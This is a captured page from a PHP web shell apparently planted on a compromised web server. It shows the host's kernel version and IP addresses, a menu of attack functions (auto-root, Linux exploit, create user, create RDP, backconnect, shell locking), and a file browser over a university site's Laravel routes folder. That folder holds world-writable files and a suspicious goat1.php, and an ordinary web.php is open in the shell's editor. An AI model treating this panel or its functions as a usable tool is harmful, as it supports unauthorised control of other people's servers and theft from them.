Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo22.com /
routes /
[ HOME SHELL ]
Name
Size
Permission
Action
modules
[ DIR ]
drwxrwxrwx
api.php
186
B
-rw-rw-rw-
console.php
611
B
-rw-rw-rw-
goat1.php
143.87
KB
-rw-r--r--
web.php
3.04
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : web.php
<?php use App\Models\Content\SiteSetting; use App\Models\Content\ContentPost; use App\Models\Content\ContactMessage; use App\Http\Controllers\InstallController; use Illuminate\Support\Facades\Route; Route::prefix('install')->name('install.')->group(function () { Route::get('/', [InstallController::class, 'requirements'])->name('requirements'); Route::get('/database', [InstallController::class, 'database'])->name('database'); Route::post('/database', [InstallController::class, 'saveDatabase'])->name('database.save'); Route::get('/admin', [InstallController::class, 'admin'])->name('admin'); Route::post('/admin', [InstallController::class, 'saveAdmin'])->name('admin.save'); Route::get('/complete', [InstallController::class, 'complete'])->name('complete'); }); Route::redirect('/login', '/portal/login')->name('login'); $publicSiteData = static fn () => SiteSetting::publicData(); $homeViewData = static fn () => [ ...SiteSetting::publicData(), 'homePosts' => ContentPost::published() ->where('is_featured', true) ->latest('event_starts_at') ->latest('published_at') ->limit(3) ->get(), ]; Route::get('/', function () use ($homeViewData) { return view('public.home', $homeViewData()); })->name('home'); Route::get('/website-preview', fn () => view('public.home', $homeViewData())) ->name('site.preview'); Route::get('/about', fn () => view('public.about', $publicSiteData()))->name('about'); Route::get('/academics', fn () => view('public.academics', $publicSiteData()))->name('academics'); Route::get('/admissions', fn () => view('public.admissions', $publicSiteData()))->name('admissions'); Route::get('/news-events', function () use ($publicSiteData) { return view('public.news-events', [ ...$publicSiteData(), 'posts' => ContentPost::published()->latest('event_starts_at')->latest('published_at')->paginate(9), ]); })->name('news-events'); Route::get('/news-events/{contentPost:slug}', function (ContentPost $contentPost) use ($publicSiteData) { abort_unless($contentPost->is_published, 404); return view('public.news-event-show', [ ...$publicSiteData(), 'post' => $contentPost, ]); })->name('news-events.show'); Route::get('/campus-life', fn () => view('public.campus-life', $publicSiteData()))->name('campus-life'); Route::get('/contact', fn () => view('public.contact', $publicSiteData()))->name('contact'); Route::post('/contact', function () { $data = request()->validate([ 'name' => ['required', 'string', 'max:120'], 'email' => ['required', 'email', 'max:160'], 'phone' => ['nullable', 'string', 'max:40'], 'subject' => ['nullable', 'string', 'max:160'], 'message' => ['required', 'string', 'max:2000'], ]); ContactMessage::create([ ...$data, 'status' => 'new', 'ip_address' => request()->ip(), 'user_agent' => request()->userAgent(), ]); return back()->with('status', 'Thanks. SignalTechs University received your message.'); })->name('contact.submit');
Close